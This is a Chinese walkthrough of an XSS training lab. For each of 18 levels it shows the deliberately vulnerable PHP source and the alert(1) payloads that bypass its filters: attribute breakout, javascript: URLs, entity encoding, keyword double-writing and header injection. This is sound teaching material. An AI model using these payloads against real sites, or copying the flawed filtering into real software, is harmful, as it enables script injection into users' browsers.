XSS Challenge通关简单教程

简介: XSS Challenge通关简单教程

Levle1


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这个里面没有对输入的数据做任何的过滤,直接构造payload即可:

payload:name=<script>alert(1)</script>
http://81.69.228.171:666/level1.php?name=<script>alert(1)</script>



Levle2


直接写入:<script>alert(1)</script>,无法弹窗

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars($str)用法

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &amp

" (双引号)成为 &quot

' (单引号)成为 '

< (小于)成为 &lt

> (大于)成为 &gt

例如:

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

查看网页源码,第一个位置被发现被实体编码,但是第二个位置或许可以弹窗


法1


当我们写入一个语句的时候,可以发现<img src=1 onerror=alert(1)>被闭合掉了,因此在这里可以尝试先行闭合搜索框之后再弹出xss

  • 正常的搜索

  • 先闭合的搜索

直接弹出

法2

使用鼠标划过输入框,输入之后当鼠标移动到这个位置的时候,即可弹出

" onmouseover=alert(1)>

法3

或者使用鼠标点击搜索框

" onclick=alert(1)>


补充知识:js注释符


在js中一共有三种注释方式

  • 多行注释
/*
hacked by crow
*/

单行注释


//// hack by crow

<!-<!-  hack by crow  这种注释容用混淆,因此一般不推荐使用


Level3

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这里面上下都使用了htmlspecialchars()函数,但是它未对单引号进行转义,因此可以使用单引号进行测试

<?php
$str1 = "\"";
$str2 = "& ";
$str3 = " ' ";
$str4 = " <   ";
$str5 = " > ";
echo htmlspecialchars($str1);
echo '         ';
echo htmlspecialchars($str2);
echo '         ';
echo htmlspecialchars($str3);
echo '         ';
echo htmlspecialchars($str4);
echo '         ';
echo htmlspecialchars($str5);
?>

直接在输入框内输入

"><script>alert(1)</script><"

虽然发现闭合,但无法弹窗

发现双引号都被闭合掉了,这里使用单引号进行尝试,但是<>均被转义,因此需要替换方法


这里有一个坑:如果没有鼠标右键查看网页源代码,可能你看网上的教程都看不懂,我在firefox上使用F12只能看到双引号,所以在这里我们可以使用单引号进行绕过,而且要避开<>这符号

' onclick=alert(1)

当我们使用这个payload的时候,当点击的时候没有事件发生,可以分析下此时后面有一个单引号没有被闭合。

所以这里采用注释符进行绕过

法1

' onclick=alert(1) // hacked by crow

' onclick=alert(1) /* hacked by crow */

' onclick=alert(1) <!- hacked by crow

法2

' onmouseover=alert(1) // hacked by crow

' onmouseover=alert(1) /* hacked by crow */

' onmouseover=alert(1) <!- hacked by crow

当然,这里也可以将单引号闭合进行绕过:

payload1
' onmouseover=alert(1) '
payload2
' onclick= alert(1) '


补充知识


str_replace()函数

  • str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
  • 该函数区分大小写
  • str_ireplace() 函数执行不区分大小写的搜索。

Level4


首先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

从上述可以看出,将<>全部替换为空,而且使用了htmlspecialchars()函数,因此在这里无法使用<>符号,可以使用onclick事件先看下返回如何:

onclick=alert(1)

可以分析知道,可使用双引号将前面的value进行闭合,再注释掉后面的双引号,或者将其闭合均可,因此可构造payload如下:

法1

" onclick=alert(1) "

法2

" onclick=alert(1) // hacked by crow

法3

" onclick=alert(1) <!- hacked by crow

法4

" onclick=alert(1) /* hacked by crow */

法5

" onmouseover=alert(1) "

法6

" onmouseover=alert(1) // hacked by crow

法7

" onmouseover=alert(1) <!- hacked by crow

法8

" onmouseover=alert(1) /* hacked by crow */

补充知识


strtolower()函数

  • 把所有字符转换为小写


Level5


首先看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

代码首先将大小写统一为小写,然后直接过滤了<scripton关键词,这里无法再使用上述的方式,此处没有过滤尖括号,可以使用伪协议来进行构造:

a标签的一种写法

<a href="JavaScript:;"></a>

因此构造payload

" ><a href="javascript:alert(1)">

这里需要手动点击下才可以触发:

当然也可以选择直接触发:

"><iframe src=javascript:alert(1)>


Level6


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
从源码中可以看出,能过滤的都过滤了,但是与第5关相比,没有对大小写进行限制,因此使用大小写绕过
" ><a hrEf="javascript:alert(1)">

同样的,也可以使用

"><iframe Src=javascript:alert(1)>


Level7


先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

查看代码得知,str_replac()函数将常用的scripton等全部替换为空,因此在这里可以尝试使用包裹关键词的方式进行绕过

" ><a hhrEfref="javascscriptript:alert(1)">
"><iframe Ssrcrc=javasscriptcript:alert(1)>

tips:包裹关键词

包裹关键词的时候并不是每一个单词都要进行双写,这里一定要保留一个完整的需要被替换的单词,详情可参照下图:

补充知识:HTML 字符实体


HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。

实体名称对大小写敏感。

HTML字符实体的出现主要是为了解决以下几个问题:

1. 解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析为标签。这时就需要将小于号和大于号写成字符实体:

小于号这样写:&lt; 或 &#60;

大于号这样写:&gt; 或 &#62;

2. 键盘上无法打印的符号

3. 连续的空格

。。。。

Level8


先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

查看代码发现,输入的str先进行小写转换,然后再经过一系列关键字替换:

script      onsrc   data  href"等均被替换,这里无法使用以上关键词和双引号进行绕过,在这个里面一共有两个输出点,第一个输出点采用了htmlspecialchar()实体化,第二个进行了7次过滤处理

首先尝试使用伪协议进行绕过,查看输出:

javascript:alert(1)

在这里发现确实被替换,因此在这里尝试使用html字符实体进行尝试绕过

在线转换网址:https://www.qqxiuzi.cn/bianma/zifushiti.php

payload1: javascript:alert(1)

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

当然还可以对script中的任意字母进行编码,比如对s进行编码,从而绕过限制:

payload2:java&#x73;cript:alert(1)

也可以使用Tab键和回车键进行编码来绕过:

javascrip&#x09;t:alert(1)
javascrip&#x0a;t:alert(1)

详细信息可以参考:https://www.w3school.com.cn/tags/html_ref_entities.html


Level9


首先看下代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
 echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
      }
else
{
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

通过源代码可以知道,首先对输入的字符串进行过滤处理,在最后一步的时候判断是否存在http://,如果不存在,则直接判定为非法操作,因此在这里可以通过注释符的方式添加进来进行绕过即可

当输入

javascrip&#x09;t:alert(1)

此时将上述的payload加上注释

javascrip&#x09;t:alert(1) // http://

当然也可以使用Level8中的payload进行测试,只需要在后面加上注释符和http://即可,在这里不再进行测试


Level10


首先看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源码可以发现,需要传入的有两个参数,一个是keyword,另外一个是t_sort。而且过滤了<>,页面中还隐藏了三个元素,并且前两个将值替换为空,最后一个值也是过滤了尖括号之后的结果,因此首先尝试进行构造一个最基础的payload查看返回信息:

<script>alert(1)</script>

在这里看到t_sort的部分中尖括号确实被过滤了,尝试绕过

payload:

" type="password" onclick=alert(1) //

完整的payload:

keyword=hacked by crow&t_sort=" type="text" onclick=alert(1) //

其中//属于必须要的注释符,可以使用其他的注释符进行替换也可

当然还可以使用其他的方式来做,都是可以的

payload2:

keyword=hacked by crow&t_sort=" type="text" onmouseover=alert(1) //

当鼠标移到该位置的时候,就会触发


Level11


首先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从源代码可以看到,这里面对输入的keyword和t_sort进行了关键词过滤,但是对于$str11到$str33,过滤了尖括号,先随意输入数据查看下源代码:

keyword=hacked by crow & t_sort= <script>alert(1)</script>

在这里$str11接收的是HTTP_REFERER中的内容,因此在hackbar或burpsuite中定义下HTTP_REFERER中的内容:

在这里就可以看到,过滤了尖括号,这个就和上面的关卡比较像了,可以直接构造:

payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在referer中进行构造


Level12


查看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源代码可知,与Level11很像,只不过是将HTTP_REFERER替换为HTTP_USER_AGENT,因此可以利用hackbar等工具直接替换即可:

payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在user-agent中进行构造


Level13


首先看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
其实和Level11-Level12一样,只不过这里需要指定cookie的值,因此可以如下构造:
payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在cookies中进行构造


补充知识:Exif xss


什么是exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

在Windows下可以直接右键修改这些属性,有些网站可以读取exif信息,当传入一张含有恶意信息的图片的时候,就可以触发payload


Level14


首先看下代码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

其实这关的意思就是跳转到一个能够读取exif信息的网站,但是这个网站存在eixf xss漏洞,因此可以直接触发xss,所以只要将src后面的网址进行替换到一个有这样漏洞的网站即可。

比如:http://www.exifdata.com/exif.php


Level15


首先看下源码

<html ng-app>
<head>
       <meta charset="utf-8">
       <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

安哥拉js

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

因此可以直接进行构造:

src='level1.php?name=<img src=1 onerror=alert(1)>'


Level16


首先看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

从代码中可以看到,script等均被替换为空格符号,但是这里没有过滤尖括号,因此可以想到使用尖括号进行绕过

<img src=1 onerror=alert(1)>

但是这里又存在一个问题,空格被替换为空格符号

这里面可以使用换行符%0a来替换空格:

<img%0asrc=1%0aonerror=alert(1)>

当然,这里还可以使用其他的符号,比如回车符号%0d

<img%0dsrc=1 %0donerror=alert(1)>


Level17


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

通过源代码和最基础的xss反弹代码发现,arg01和arg02的参数在处理之后进行了拼接

而htmlspecialchars()函数会将输入的数据变成html实体,过滤了尖口号和双引号,在这里可以尝试使用其他的进行绕过?arg01=a&arg02=onmouseover=alert(1)

在arg02参数后面有一个空格,不然就是将属性与之前的xsf01.swf?进行连接了


Level18


查看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{    
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

这一关和Level17代码基本相同,只不过换了一个图片而已,因此可以使用上一关的代码进行绕过

?arg01=a&arg02=onmouseover=alert(1)


Level19


Level20


主要是因为目前flash技术全面停止使用,因此在这里不再讲解这类技术(主要是不会)

相关文章
|
6天前
|
安全 测试技术 Python
XSS 检测神器:XSSfork 保姆级教程
XSS 检测神器:XSSfork 保姆级教程
XSS 检测神器:XSSfork 保姆级教程
|
6天前
|
存储 安全 JavaScript
XSS 检测神器:BruteXSS 保姆级教程
XSS 检测神器:BruteXSS 保姆级教程
|
6天前
|
JSON JavaScript 安全
XSS 检测神器:XSStrike 保姆级教程
XSS 检测神器:XSStrike 保姆级教程
|
6月前
|
SQL 安全 JavaScript
互联网并发与安全系列教程(05) - 常见的Web安全漏洞(XSS攻击、SQL注入、防盗链)
互联网并发与安全系列教程(05) - 常见的Web安全漏洞(XSS攻击、SQL注入、防盗链)
60 0
|
存储 SQL JSON
AntiSamy:防 XSS 攻击的一种解决方案使用教程
AntiSamy:防 XSS 攻击的一种解决方案使用教程
693 0
AntiSamy:防 XSS 攻击的一种解决方案使用教程
|
JavaScript 安全 PHP
xss挑战之旅靶场通关教程(下)
xss挑战之旅靶场通关教程(下)
147 1
|
存储 JavaScript 安全
xss挑战之旅靶场通关教程(上)
xss挑战之旅靶场通关教程(上)
286 0
|
存储 安全 JavaScript
某教程学习笔记(一):16、XSS漏洞
某教程学习笔记(一):16、XSS漏洞
114 0
某教程学习笔记(一):16、XSS漏洞
|
6天前
|
存储 JavaScript 前端开发
前端xss攻击——规避innerHtml过滤标签节点及属性
前端xss攻击——规避innerHtml过滤标签节点及属性
46 4
|
6天前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
27 0